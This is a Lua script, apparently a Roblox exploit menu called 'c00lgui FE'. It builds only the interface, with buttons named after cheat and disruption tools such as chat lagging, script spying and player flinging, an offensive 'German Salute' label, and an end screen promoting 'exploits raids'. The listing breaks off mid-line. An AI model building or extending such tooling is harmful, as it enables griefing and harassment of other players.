local c00lguiFE = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local Title = Instance.new("TextLabel") local back = Instance.new("TextButton") local next = Instance.new("TextButton") local Page1 = Instance.new("Frame") local FEGuis = Instance.new("Frame") local Airhub = Instance.new("TextButton") local Title_2 = Instance.new("TextLabel") local topkekremake = Instance.new("TextButton") local Opfinality = Instance.new("TextButton") local ScriptSpy = Instance.new("TextButton") local Dex = Instance.new("TextButton") local Hydroxide = Instance.new("TextButton") local audiologger = Instance.new("TextButton") local InfiniteYieldFE = Instance.new("TextButton") local Namelees = Instance.new("TextButton") local Quirky = Instance.new("TextButton") local headfling = Instance.new("TextButton") local UnanchPlr = Instance.new("TextButton") local FEscripts = Instance.new("Frame") local Title_3 = Instance.new("TextLabel") local Ccanon = Instance.new("TextButton") local humanoidel = Instance.new("TextButton") local salute = Instance.new("TextButton") local lagchat = Instance.new("TextButton") local breakchat = Instance.new("TextButton") local commitoof = Instance.new("TextButton") local backflip = Instance.new("TextButton") local walkonwall = Instance.new("TextButton") local blackhole = Instance.new("TextButton") local ClickTP = Instance.new("TextButton") local autism = Instance.new("TextButton") local singtheme = Instance.new("TextButton") local PageLabel = Instance.new("TextLabel") local TextLabel = Instance.new("TextLabel") local Page2 = Instance.new("Frame") local robloxoldstyle = Instance.new("Frame") local Title_4 = Instance.new("TextLabel") local oldtopbar = Instance.new("TextButton") local oldcharsounds = Instance.new("TextButton") local oldanim = Instance.new("TextButton") local oldplrlist = Instance.new("TextButton") local oldgraphics = Instance.new("TextButton") local oldcons = Instance.new("TextButton") local oldcursor = Instance.new("TextButton") local no5 = Instance.new("TextButton") local no3 = Instance.new("TextButton") local no2 = Instance.new("TextButton") local no = Instance.new("TextButton") local no4 = Instance.new("TextButton") local PageLabel_2 = Instance.new("TextLabel") local Page3 = Instance.new("Frame") local End = Instance.new("Frame") local Text = Instance.new("TextLabel") local PageLabel_3 = Instance.new("TextLabel") local CloseOpen = Instance.new("TextButton") c00lguiFE.Name = "c00lguiFE" c00lguiFE.Parent = game.CoreGui c00lguiFE.ResetOnSpawn = false Frame.Parent = c00lguiFE Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(255, 0, 0) Frame.BorderSizePixel = 3 Frame.Position = UDim2.new(0, 3, 0.300000012, 0) Frame.Size = UDim2.new(0, 300, 0, 400) Frame.ZIndex = 2 Title.Name = "Title" Title.Parent = Frame Title.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Title.BorderColor3 = Color3.fromRGB(255, 0, 0) Title.BorderSizePixel = 3 Title.Size = UDim2.new(1, 0, 0, 40) Title.ZIndex = 2 Title.Font = Enum.Font.SourceSans Title.Text = "c00lgui FE v2.1 by LordMuhamad" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextScaled = true Title.TextSize = 24.000 Title.TextWrapped = true back.Name = "back" back.Parent = Frame back.BackgroundColor3 = Color3.fromRGB(0, 0, 0) back.BorderColor3 = Color3.fromRGB(255, 0, 0) back.BorderSizePixel = 3 back.Position = UDim2.new(0, 0, 0, 40) back.Size = UDim2.new(0.5, 0, 0, 40) back.ZIndex = 2 back.Font = Enum.Font.SourceSans back.Text = "<" back.TextColor3 = Color3.fromRGB(255, 255, 255) back.TextSize = 48.000 next.Name = "next" next.Parent = Frame next.BackgroundColor3 = Color3.fromRGB(0, 0, 0) next.BorderColor3 = Color3.fromRGB(255, 0, 0) next.BorderSizePixel = 3 next.Position = UDim2.new(0.5, 3, 0, 40) next.Size = UDim2.new(0.5, -3, 0, 40) next.ZIndex = 2 next.Font = Enum.Font.SourceSans next.Text = ">" next.TextColor3 = Color3.fromRGB(255, 255, 255) next.TextSize = 48.000 Page1.Name = "Page1" Page1.Parent = Frame Page1.Active = true Page1.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Page1.BorderColor3 = Color3.fromRGB(255, 0, 0) Page1.BorderSizePixel = 3 Page1.Position = UDim2.new(0, 0, 0, 83) Page1.Size = UDim2.new(1, 0, 1, -106) Page1.ZIndex = 2 FEGuis.Name = "FE Guis" FEGuis.Parent = Page1 FEGuis.Active = true FEGuis.BackgroundColor3 = Color3.fromRGB(0, 0, 0) FEGuis.BorderColor3 = Color3.fromRGB(255, 0, 0) FEGuis.BorderSizePixel = 3 FEGuis.Position = UDim2.new(0.5, 3, 0, 0) FEGuis.Size = UDim2.new(0.5, -3, 1, 0) FEGuis.ZIndex = 2 Airhub.Name = "Airhub" Airhub.Parent = FEGuis Airhub.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Airhub.BorderColor3 = Color3.fromRGB(255, 0, 0) Airhub.BorderSizePixel = 3 Airhub.Position = UDim2.new(0, 0, 0, 33) Airhub.Size = UDim2.new(0.5, 0, 0, 30) Airhub.ZIndex = 2 Airhub.Font = Enum.Font.SourceSans Airhub.Text = "Airhub v2" Airhub.TextColor3 = Color3.fromRGB(255, 255, 255) Airhub.TextSize = 14.000 Airhub.TextWrapped = true Title_2.Name = "Title" Title_2.Parent = FEGuis Title_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Title_2.BorderColor3 = Color3.fromRGB(255, 0, 0) Title_2.BorderSizePixel = 3 Title_2.Size = UDim2.new(1, 0, 0, 30) Title_2.ZIndex = 2 Title_2.Font = Enum.Font.SourceSansBold Title_2.Text = "FE GUIs" Title_2.TextColor3 = Color3.fromRGB(255, 255, 255) Title_2.TextSize = 14.000 Title_2.TextWrapped = true topkekremake.Name = "topkek remake" topkekremake.Parent = FEGuis topkekremake.BackgroundColor3 = Color3.fromRGB(0, 0, 0) topkekremake.BorderColor3 = Color3.fromRGB(255, 0, 0) topkekremake.BorderSizePixel = 3 topkekremake.Position = UDim2.new(0.5, 3, 0, 33) topkekremake.Size = UDim2.new(0.5, -3, 0, 30) topkekremake.ZIndex = 2 topkekremake.Font = Enum.Font.SourceSans topkekremake.Text = "Topkek remake" topkekremake.TextColor3 = Color3.fromRGB(255, 255, 255) topkekremake.TextSize = 14.000 topkekremake.TextWrapped = true Opfinality.Name = "Opfinality" Opfinality.Parent = FEGuis Opfinality.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Opfinality.BorderColor3 = Color3.fromRGB(255, 0, 0) Opfinality.BorderSizePixel = 3 Opfinality.Position = UDim2.new(0, 0, 0, 66) Opfinality.Size = UDim2.new(0.5, 0, 0, 30) Opfinality.ZIndex = 2 Opfinality.Font = Enum.Font.SourceSans Opfinality.Text = "Opfinality" Opfinality.TextColor3 = Color3.fromRGB(255, 255, 255) Opfinality.TextSize = 14.000 Opfinality.TextWrapped = true ScriptSpy.Name = "Script Spy" ScriptSpy.Parent = FEGuis ScriptSpy.BackgroundColor3 = Color3.fromRGB(0, 0, 0) ScriptSpy.BorderColor3 = Color3.fromRGB(255, 0, 0) ScriptSpy.BorderSizePixel = 3 ScriptSpy.Position = UDim2.new(0.5, 3, 0, 66) ScriptSpy.Size = UDim2.new(0.5, -3, 0, 30) ScriptSpy.ZIndex = 2 ScriptSpy.Font = Enum.Font.SourceSans ScriptSpy.Text = "ScriptSpy" ScriptSpy.TextColor3 = Color3.fromRGB(255, 255, 255) ScriptSpy.TextSize = 14.000 ScriptSpy.TextWrapped = true Dex.Name = "Dex" Dex.Parent = FEGuis Dex.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Dex.BorderColor3 = Color3.fromRGB(255, 0, 0) Dex.BorderSizePixel = 3 Dex.Position = UDim2.new(0, 0, 0, 99) Dex.Size = UDim2.new(0.5, 0, 0, 30) Dex.ZIndex = 2 Dex.Font = Enum.Font.SourceSans Dex.Text = "Dark Dex V5" Dex.TextColor3 = Color3.fromRGB(255, 255, 255) Dex.TextSize = 14.000 Dex.TextWrapped = true Hydroxide.Name = "Hydroxide" Hydroxide.Parent = FEGuis Hydroxide.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Hydroxide.BorderColor3 = Color3.fromRGB(255, 0, 0) Hydroxide.BorderSizePixel = 3 Hydroxide.Position = UDim2.new(0.5, 3, 0, 99) Hydroxide.Size = UDim2.new(0.5, -3, 0, 30) Hydroxide.ZIndex = 2 Hydroxide.Font = Enum.Font.SourceSans Hydroxide.Text = "Hydroxide" Hydroxide.TextColor3 = Color3.fromRGB(255, 255, 255) Hydroxide.TextSize = 14.000 Hydroxide.TextWrapped = true audiologger.Name = "audio logger" audiologger.Parent = FEGuis audiologger.BackgroundColor3 = Color3.fromRGB(0, 0, 0) audiologger.BorderColor3 = Color3.fromRGB(255, 0, 0) audiologger.BorderSizePixel = 3 audiologger.Position = UDim2.new(0, 0, 0, 132) audiologger.Size = UDim2.new(0.5, 0, 0, 30) audiologger.ZIndex = 2 audiologger.Font = Enum.Font.SourceSans audiologger.Text = "Audio logger" audiologger.TextColor3 = Color3.fromRGB(255, 255, 255) audiologger.TextSize = 14.000 audiologger.TextWrapped = true InfiniteYieldFE.Name = "Infinite Yield FE" InfiniteYieldFE.Parent = FEGuis InfiniteYieldFE.BackgroundColor3 = Color3.fromRGB(0, 0, 0) InfiniteYieldFE.BorderColor3 = Color3.fromRGB(255, 0, 0) InfiniteYieldFE.BorderSizePixel = 3 InfiniteYieldFE.Position = UDim2.new(0.5, 3, 0, 132) InfiniteYieldFE.Size = UDim2.new(0.5, -3, 0, 30) InfiniteYieldFE.ZIndex = 2 InfiniteYieldFE.Font = Enum.Font.SourceSans InfiniteYieldFE.Text = "Infinite Yield FE" InfiniteYieldFE.TextColor3 = Color3.fromRGB(255, 255, 255) InfiniteYieldFE.TextSize = 14.000 InfiniteYieldFE.TextWrapped = true Namelees.Name = "Namelees" Namelees.Parent = FEGuis Namelees.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Namelees.BorderColor3 = Color3.fromRGB(255, 0, 0) Namelees.BorderSizePixel = 3 Namelees.Position = UDim2.new(0, 0, 0, 165) Namelees.Size = UDim2.new(0.499000013, 0, 0, 30) Namelees.ZIndex = 2 Namelees.Font = Enum.Font.SourceSans Namelees.Text = "Nameless admin" Namelees.TextColor3 = Color3.fromRGB(255, 255, 255) Namelees.TextSize = 14.000 Namelees.TextWrapped = true Quirky.Name = "Quirkycmd" Quirky.Parent = FEGuis Quirky.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Quirky.BorderColor3 = Color3.fromRGB(255, 0, 0) Quirky.BorderSizePixel = 3 Quirky.Position = UDim2.new(0.5, 3, 0, 165) Quirky.Size = UDim2.new(0.5, -3, 0, 30) Quirky.ZIndex = 2 Quirky.Font = Enum.Font.SourceSans Quirky.Text = "Quirkycmd" Quirky.TextColor3 = Color3.fromRGB(255, 255, 255) Quirky.TextSize = 14.000 Quirky.TextWrapped = true headfling.Name = "headfling" headfling.Parent = FEGuis headfling.BackgroundColor3 = Color3.fromRGB(0, 0, 0) headfling.BorderColor3 = Color3.fromRGB(255, 0, 0) headfling.BorderSizePixel = 3 headfling.Position = UDim2.new(0, 0, 0, 198) headfling.Size = UDim2.new(0.499000013, 0, 0, 30) headfling.ZIndex = 2 headfling.Font = Enum.Font.SourceSans headfling.Text = "headfling" headfling.TextColor3 = Color3.fromRGB(255, 255, 255) headfling.TextSize = 14.000 headfling.TextWrapped = true UnanchPlr.Name = "UnanchPlr" UnanchPlr.Parent = FEGuis UnanchPlr.BackgroundColor3 = Color3.fromRGB(0, 0, 0) UnanchPlr.BorderColor3 = Color3.fromRGB(255, 0, 0) UnanchPlr.BorderSizePixel = 3 UnanchPlr.Position = UDim2.new(0.5, 3, 0, 198) UnanchPlr.Size = UDim2.new(0.5, -3, 0, 30) UnanchPlr.ZIndex = 2 UnanchPlr.Font = Enum.Font.SourceSans UnanchPlr.Text = "Unanchored2Plr" UnanchPlr.TextColor3 = Color3.fromRGB(255, 255, 255) UnanchPlr.TextSize = 14.000 UnanchPlr.TextWrapped = true FEscripts.Name = "FE scripts" FEscripts.Parent = Page1 FEscripts.BackgroundColor3 = Color3.fromRGB(0, 0, 0) FEscripts.BorderColor3 = Color3.fromRGB(255, 0, 0) FEscripts.BorderSizePixel = 3 FEscripts.Size = UDim2.new(0.5, 0, 1, 0) FEscripts.ZIndex = 2 Title_3.Name = "Title" Title_3.Parent = FEscripts Title_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Title_3.BorderColor3 = Color3.fromRGB(255, 0, 0) Title_3.BorderSizePixel = 3 Title_3.Size = UDim2.new(1, 0, 0, 30) Title_3.ZIndex = 2 Title_3.Font = Enum.Font.SourceSansBold Title_3.Text = "FE SCRIPTS" Title_3.TextColor3 = Color3.fromRGB(255, 255, 255) Title_3.TextSize = 14.000 Title_3.TextWrapped = true Ccanon.Name = "Ccanon" Ccanon.Parent = FEscripts Ccanon.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Ccanon.BorderColor3 = Color3.fromRGB(255, 0, 0) Ccanon.BorderSizePixel = 3 Ccanon.Position = UDim2.new(0, 0, 0, 33) Ccanon.Size = UDim2.new(0.5, 0, 0, 30) Ccanon.ZIndex = 2 Ccanon.Font = Enum.Font.SourceSans Ccanon.Text = "Butterloaf cannon" Ccanon.TextColor3 = Color3.fromRGB(255, 255, 255) Ccanon.TextSize = 14.000 Ccanon.TextWrapped = true humanoidel.Name = "humanoidel" humanoidel.Parent = FEscripts humanoidel.BackgroundColor3 = Color3.fromRGB(0, 0, 0) humanoidel.BorderColor3 = Color3.fromRGB(255, 0, 0) humanoidel.BorderSizePixel = 3 humanoidel.Position = UDim2.new(0, 75, 0, 33) humanoidel.Size = UDim2.new(0.5, 0, 0, 30) humanoidel.ZIndex = 2 humanoidel.Font = Enum.Font.SourceSans humanoidel.Text = "del character" humanoidel.TextColor3 = Color3.fromRGB(255, 255, 255) humanoidel.TextSize = 14.000 humanoidel.TextWrapped = true salute.Name = "salute" salute.Parent = FEscripts salute.BackgroundColor3 = Color3.fromRGB(0, 0, 0) salute.BorderColor3 = Color3.fromRGB(255, 0, 0) salute.BorderSizePixel = 3 salute.Position = UDim2.new(0, 75, 0, 66) salute.Size = UDim2.new(0.5, 0, 0, 30) salute.ZIndex = 2 salute.Font = Enum.Font.SourceSans salute.Text = "German Salute" salute.TextColor3 = Color3.fromRGB(255, 255, 255) salute.TextSize = 14.000 salute.TextWrapped = true lagchat.Name = "lagchat" lagchat.Parent = FEscripts lagchat.BackgroundColor3 = Color3.fromRGB(0, 0, 0) lagchat.BorderColor3 = Color3.fromRGB(255, 0, 0) lagchat.BorderSizePixel = 3 lagchat.Position = UDim2.new(0, 0, 0, 99) lagchat.Size = UDim2.new(0.5, 0, 0, 30) lagchat.ZIndex = 2 lagchat.Font = Enum.Font.SourceSans lagchat.Text = "Lag Chat" lagchat.TextColor3 = Color3.fromRGB(255, 255, 255) lagchat.TextSize = 14.000 lagchat.TextWrapped = true breakchat.Name = "breakchat" breakchat.Parent = FEscripts breakchat.BackgroundColor3 = Color3.fromRGB(0, 0, 0) breakchat.BorderColor3 = Color3.fromRGB(255, 0, 0) breakchat.BorderSizePixel = 3 breakchat.Position = UDim2.new(0, 75, 0, 99) breakchat.Size = UDim2.new(0.5, 0, 0, 30) breakchat.ZIndex = 2 breakchat.Font = Enum.Font.SourceSans breakchat.Text = "break chat" breakchat.TextColor3 = Color3.fromRGB(255, 255, 255) breakchat.TextSize = 14.000 breakchat.TextWrapped = true commitoof.Name = "commit oof" commitoof.Parent = FEscripts commitoof.BackgroundColor3 = Color3.fromRGB(0, 0, 0) commitoof.BorderColor3 = Color3.fromRGB(255, 0, 0) commitoof.BorderSizePixel = 3 commitoof.Position = UDim2.new(0, 0, 0, 66) commitoof.Size = UDim2.new(0.479999989, 0, 0, 30) commitoof.ZIndex = 2 commitoof.Font = Enum.Font.SourceSans commitoof.Text = "Commit oof" commitoof.TextColor3 = Color3.fromRGB(255, 255, 255) commitoof.TextSize = 14.000 commitoof.TextWrapped = true backflip.Name = "backflip" backflip.Parent = FEscripts backflip.BackgroundColor3 = Color3.fromRGB(0, 0, 0) backflip.BorderColor3 = Color3.fromRGB(255, 0, 0) backflip.BorderSizePixel = 3 backflip.Position = UDim2.new(0, 0, 0, 132) backflip.Size = UDim2.new(0.479999989, 0, 0, 30) backflip.ZIndex = 2 backflip.Font = Enum.Font.SourceSans backflip.Text = "backflip (Z,X,C)" backflip.TextColor3 = Color3.fromRGB(255, 255, 255) backflip.TextSize = 14.000 backflip.TextWrapped = true walkonwall.Name = "walkonwall" walkonwall.Parent = FEscripts walkonwall.BackgroundColor3 = Color3.fromRGB(0, 0, 0) walkonwall.BorderColor3 = Color3.fromRGB(255, 0, 0) walkonwall.BorderSizePixel = 3 walkonwall.Position = UDim2.new(0, 75, 0, 132) walkonwall.Size = UDim2.new(0.5, 0, 0, 30) walkonwall.ZIndex = 2 walkonwall.Font = Enum.Font.SourceSans walkonwall.Text = "walk on walls" walkonwall.TextColor3 = Color3.fromRGB(255, 255, 255) walkonwall.TextSize = 14.000 walkonwall.TextWrapped = true blackhole.Name = "blackhole" blackhole.Parent = FEscripts blackhole.BackgroundColor3 = Color3.fromRGB(0, 0, 0) blackhole.BorderColor3 = Color3.fromRGB(255, 0, 0) blackhole.BorderSizePixel = 3 blackhole.Position = UDim2.new(0, 1, 0, 165) blackhole.Size = UDim2.new(0.479999989, 0, 0, 30) blackhole.ZIndex = 2 blackhole.Font = Enum.Font.SourceSans blackhole.Text = "blackhole" blackhole.TextColor3 = Color3.fromRGB(255, 255, 255) blackhole.TextSize = 14.000 blackhole.TextWrapped = true ClickTP.Name = "ClickTP" ClickTP.Parent = FEscripts ClickTP.BackgroundColor3 = Color3.fromRGB(0, 0, 0) ClickTP.BorderColor3 = Color3.fromRGB(255, 0, 0) ClickTP.BorderSizePixel = 3 ClickTP.Position = UDim2.new(0, 75, 0, 165) ClickTP.Size = UDim2.new(0.5, 0, 0, 30) ClickTP.ZIndex = 2 ClickTP.Font = Enum.Font.SourceSans ClickTP.Text = "Click TP" ClickTP.TextColor3 = Color3.fromRGB(255, 255, 255) ClickTP.TextSize = 14.000 ClickTP.TextWrapped = true autism.Name = "autism" autism.Parent = FEscripts autism.BackgroundColor3 = Color3.fromRGB(0, 0, 0) autism.BorderColor3 = Color3.fromRGB(255, 0, 0) autism.BorderSizePixel = 3 autism.Position = UDim2.new(0, 0, 0, 198) autism.Size = UDim2.new(0.479999989, 0, 0, 30) autism.ZIndex = 2 autism.Font = Enum.Font.SourceSans autism.Text = "autism " autism.TextColor3 = Color3.fromRGB(255, 255, 255) autism.TextSize = 14.000 autism.TextWrapped = true singtheme.Name = "sing theme" singtheme.Parent = FEscripts singtheme.BackgroundColor3 = Color3.fromRGB(0, 0, 0) singtheme.BorderColor3 = Color3.fromRGB(255, 0, 0) singtheme.BorderSizePixel = 3 singtheme.Position = UDim2.new(0, 75, 0, 198) singtheme.Size = UDim2.new(0.5, 0, 0, 30) singtheme.ZIndex = 2 singtheme.Font = Enum.Font.SourceSans singtheme.Text = "sing c00lkidd anthem" singtheme.TextColor3 = Color3.fromRGB(255, 255, 255) singtheme.TextSize = 14.000 singtheme.TextWrapped = true PageLabel.Name = "PageLabel" PageLabel.Parent = Page1 PageLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PageLabel.BorderColor3 = Color3.fromRGB(255, 0, 0) PageLabel.BorderSizePixel = 3 PageLabel.Position = UDim2.new(0, 0, 1, -30) PageLabel.Size = UDim2.new(1, 0, 0, 30) PageLabel.ZIndex = 2 PageLabel.Font = Enum.Font.SourceSans PageLabel.Text = "Page 1" PageLabel.TextColor3 = Color3.fromRGB(255, 255, 255) PageLabel.TextSize = 18.000 PageLabel.TextWrapped = true TextLabel.Parent = Page1 TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.Size = UDim2.new(0, 200, 0, 50) TextLabel.Font = Enum.Font.SourceSans TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel.TextSize = 14.000 Page2.Name = "Page2" Page2.Parent = Frame Page2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Page2.BorderColor3 = Color3.fromRGB(255, 0, 0) Page2.BorderSizePixel = 3 Page2.Position = UDim2.new(0, 0, 0, 83) Page2.Size = UDim2.new(1, 0, 1, -106) Page2.Visible = false Page2.ZIndex = 2 robloxoldstyle.Name = "roblox oldstyle" robloxoldstyle.Parent = Page2 robloxoldstyle.BackgroundColor3 = Color3.fromRGB(0, 0, 0) robloxoldstyle.BorderColor3 = Color3.fromRGB(255, 0, 0) robloxoldstyle.BorderSizePixel = 3 robloxoldstyle.Size = UDim2.new(0.5, 0, 1, 0) robloxoldstyle.ZIndex = 2 Title_4.Name = "Title" Title_4.Parent = robloxoldstyle Title_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Title_4.BorderColor3 = Color3.fromRGB(255, 0, 0) Title_4.BorderSizePixel = 3 Title_4.Size = UDim2.new(1, 0, 0, 30) Title_4.ZIndex = 2 Title_4.Font = Enum.Font.SourceSansBold Title_4.Text = "OLD ROBLOX STYLE" Title_4.TextColor3 = Color3.fromRGB(255, 255, 255) Title_4.TextSize = 14.000 Title_4.TextWrapped = true oldtopbar.Name = "old topbar" oldtopbar.Parent = robloxoldstyle oldtopbar.BackgroundColor3 = Color3.fromRGB(0, 0, 0) oldtopbar.BorderColor3 = Color3.fromRGB(255, 0, 0) oldtopbar.BorderSizePixel = 3 oldtopbar.Position = UDim2.new(0, 0, 0, 33) oldtopbar.Size = UDim2.new(0.5, 0, 0, 30) oldtopbar.ZIndex = 2 oldtopbar.Font = Enum.Font.SourceSans oldtopbar.Text = "Old Topbar" oldtopbar.TextColor3 = Color3.fromRGB(255, 255, 255) oldtopbar.TextSize = 14.000 oldtopbar.TextWrapped = true oldcharsounds.Name = "oldcharsounds" oldcharsounds.Parent = robloxoldstyle oldcharsounds.BackgroundColor3 = Color3.fromRGB(0, 0, 0) oldcharsounds.BorderColor3 = Color3.fromRGB(255, 0, 0) oldcharsounds.BorderSizePixel = 3 oldcharsounds.Position = UDim2.new(0, 75, 0, 33) oldcharsounds.Size = UDim2.new(0.5, 0, 0, 30) oldcharsounds.ZIndex = 2 oldcharsounds.Font = Enum.Font.SourceSans oldcharsounds.Text = "Old character sounds" oldcharsounds.TextColor3 = Color3.fromRGB(255, 255, 255) oldcharsounds.TextSize = 14.000 oldcharsounds.TextWrapped = true oldanim.Name = "oldanim" oldanim.Parent = robloxoldstyle oldanim.BackgroundColor3 = Color3.fromRGB(0, 0, 0) oldanim.BorderColor3 = Color3.fromRGB(255, 0, 0) oldanim.BorderSizePixel = 3 oldanim.Position = UDim2.new(0, 75, 0, 66) oldanim.Size = UDim2.new(0.5, 0, 0, 30) oldanim.ZIndex = 2 oldanim.Font = Enum.Font.SourceSans oldanim.Text = "Old animations" oldanim.TextColor3 = Color3.fromRGB(255, 255, 255) oldanim.TextSize = 14.000 oldanim.TextWrapped = true oldplrlist.Name = "oldplrlist" oldplrlist.Parent = robloxoldstyle oldplrlist.BackgroundColor3 = Color3.fromRGB(0, 0, 0) oldplrlist.BorderColor3 = Color3.fromRGB(255, 0, 0) oldplrlist.BorderSizePixel = 3 oldplrlist.Position = UDim2.new(0, 0, 0, 99) oldplrlist.Size = UDim2.new(0.5, 0, 0, 30) oldplrlist.ZIndex = 2 oldplrlist.Font = Enum.Font.SourceSans oldplrlist.Text = "Old playerlist" oldplrlist.TextColor3 = Color3.fromRGB(255, 255, 255) oldplrlist.TextSize = 14.000 oldplrlist.TextWrapped = true oldgraphics.Name = "oldgraphics" oldgraphics.Parent = robloxoldstyle oldgraphics.BackgroundColor3 = Color3.fromRGB(0, 0, 0) oldgraphics.BorderColor3 = Color3.fromRGB(255, 0, 0) oldgraphics.BorderSizePixel = 3 oldgraphics.Position = UDim2.new(0, 75, 0, 99) oldgraphics.Size = UDim2.new(0.5, 0, 0, 30) oldgraphics.ZIndex = 2 oldgraphics.Font = Enum.Font.SourceSans oldgraphics.Text = "Old graphics" oldgraphics.TextColor3 = Color3.fromRGB(255, 255, 255) oldgraphics.TextSize = 14.000 oldgraphics.TextWrapped = true oldcons.Name = "oldcons" oldcons.Parent = robloxoldstyle oldcons.BackgroundColor3 = Color3.fromRGB(0, 0, 0) oldcons.BorderColor3 = Color3.fromRGB(255, 0, 0) oldcons.BorderSizePixel = 3 oldcons.Position = UDim2.new(0, 0, 0, 66) oldcons.Size = UDim2.new(0.479999989, 0, 0, 30) oldcons.ZIndex = 2 oldcons.Font = Enum.Font.SourceSans oldcons.Text = "Old console" oldcons.TextColor3 = Color3.fromRGB(255, 255, 255) oldcons.TextSize = 14.000 oldcons.TextWrapped = true oldcursor.Name = "oldcursor" oldcursor.Parent = robloxoldstyle oldcursor.BackgroundColor3 = Color3.fromRGB(0, 0, 0) oldcursor.BorderColor3 = Color3.fromRGB(255, 0, 0) oldcursor.BorderSizePixel = 3 oldcursor.Position = UDim2.new(0, 0, 0, 132) oldcursor.Size = UDim2.new(0.479999989, 0, 0, 30) oldcursor.ZIndex = 2 oldcursor.Font = Enum.Font.SourceSans oldcursor.Text = "Old cursor" oldcursor.TextColor3 = Color3.fromRGB(255, 255, 255) oldcursor.TextSize = 14.000 oldcursor.TextWrapped = true no5.Name = "no5" no5.Parent = robloxoldstyle no5.BackgroundColor3 = Color3.fromRGB(0, 0, 0) no5.BorderColor3 = Color3.fromRGB(255, 0, 0) no5.BorderSizePixel = 3 no5.Position = UDim2.new(0, 75, 0, 132) no5.Size = UDim2.new(0.5, 0, 0, 30) no5.ZIndex = 2 no5.Font = Enum.Font.SourceSans no5.Text = "" no5.TextColor3 = Color3.fromRGB(255, 255, 255) no5.TextSize = 14.000 no5.TextWrapped = true no3.Name = "no3" no3.Parent = robloxoldstyle no3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) no3.BorderColor3 = Color3.fromRGB(255, 0, 0) no3.BorderSizePixel = 3 no3.Position = UDim2.new(0, 1, 0, 165) no3.Size = UDim2.new(0.479999989, 0, 0, 30) no3.ZIndex = 2 no3.Font = Enum.Font.SourceSans no3.Text = "" no3.TextColor3 = Color3.fromRGB(255, 255, 255) no3.TextSize = 14.000 no3.TextWrapped = true no2.Name = "no2" no2.Parent = robloxoldstyle no2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) no2.BorderColor3 = Color3.fromRGB(255, 0, 0) no2.BorderSizePixel = 3 no2.Position = UDim2.new(0, 75, 0, 165) no2.Size = UDim2.new(0.5, 0, 0, 30) no2.ZIndex = 2 no2.Font = Enum.Font.SourceSans no2.Text = "" no2.TextColor3 = Color3.fromRGB(255, 255, 255) no2.TextSize = 14.000 no2.TextWrapped = true no.Name = "no" no.Parent = robloxoldstyle no.BackgroundColor3 = Color3.fromRGB(0, 0, 0) no.BorderColor3 = Color3.fromRGB(255, 0, 0) no.BorderSizePixel = 3 no.Position = UDim2.new(0, 0, 0, 198) no.Size = UDim2.new(0.479999989, 0, 0, 30) no.ZIndex = 2 no.Font = Enum.Font.SourceSans no.Text = "" no.TextColor3 = Color3.fromRGB(255, 255, 255) no.TextSize = 14.000 no.TextWrapped = true no4.Name = "no4" no4.Parent = robloxoldstyle no4.BackgroundColor3 = Color3.fromRGB(0, 0, 0) no4.BorderColor3 = Color3.fromRGB(255, 0, 0) no4.BorderSizePixel = 3 no4.Position = UDim2.new(0, 75, 0, 198) no4.Size = UDim2.new(0.5, 0, 0, 30) no4.ZIndex = 2 no4.Font = Enum.Font.SourceSans no4.Text = "" no4.TextColor3 = Color3.fromRGB(255, 255, 255) no4.TextSize = 14.000 no4.TextWrapped = true PageLabel_2.Name = "PageLabel" PageLabel_2.Parent = robloxoldstyle PageLabel_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PageLabel_2.BorderColor3 = Color3.fromRGB(255, 0, 0) PageLabel_2.BorderSizePixel = 3 PageLabel_2.Position = UDim2.new(0, 0, 1, -30) PageLabel_2.Size = UDim2.new(2, 0, 0, 30) PageLabel_2.ZIndex = 2 PageLabel_2.Font = Enum.Font.SourceSans PageLabel_2.Text = "Page 2" PageLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255) PageLabel_2.TextSize = 18.000 PageLabel_2.TextWrapped = true Page3.Name = "Page3" Page3.Parent = Frame Page3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Page3.BorderColor3 = Color3.fromRGB(255, 0, 0) Page3.BorderSizePixel = 3 Page3.Position = UDim2.new(0, 0, 0, 83) Page3.Size = UDim2.new(1, 0, 1, -106) Page3.Visible = false Page3.ZIndex = 2 End.Name = "End" End.Parent = Page3 End.BackgroundColor3 = Color3.fromRGB(0, 0, 0) End.BorderColor3 = Color3.fromRGB(255, 0, 0) End.BorderSizePixel = 3 End.Position = UDim2.new(-0.00999999978, 3, 0, 0) End.Size = UDim2.new(1.00999999, -3, 1, 0) End.ZIndex = 2 Text.Name = "Text" Text.Parent = End Text.Active = true Text.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Text.BorderColor3 = Color3.fromRGB(255, 0, 0) Text.BorderSizePixel = 3 Text.Position = UDim2.new(-0.0012245687, 0, 0.112244904, 0) Text.Size = UDim2.new(1.00122452, 0, 0.897959173, 0) Text.ZIndex = 2 Text.Font = Enum.Font.SourceSans Text.LineHeight = 0.990 Text.Text = "Thank you for using c00lgui reborn FE V2. \\n\\nNeed support or changelogs? \\n\\nJoin us : discord.gg/92Wb8yGEh9\\n\\nPrepare for 12/07/2022 exploits raids! \\n\\nSpecial thanks to : Mokny, USD317, NiceMan \\nAnd everyone from team c00lkidd! \\n\\nShoutout to MasterMZ for showcasing the script!" Text.TextColor3 = Color3.fromRGB(255, 255, 255) Text.TextSize = 19.000 Text.TextWrapped = true Text.TextYAlignment = Enum.TextYAlignment.Top PageLabel_3.Name = "PageLabel" 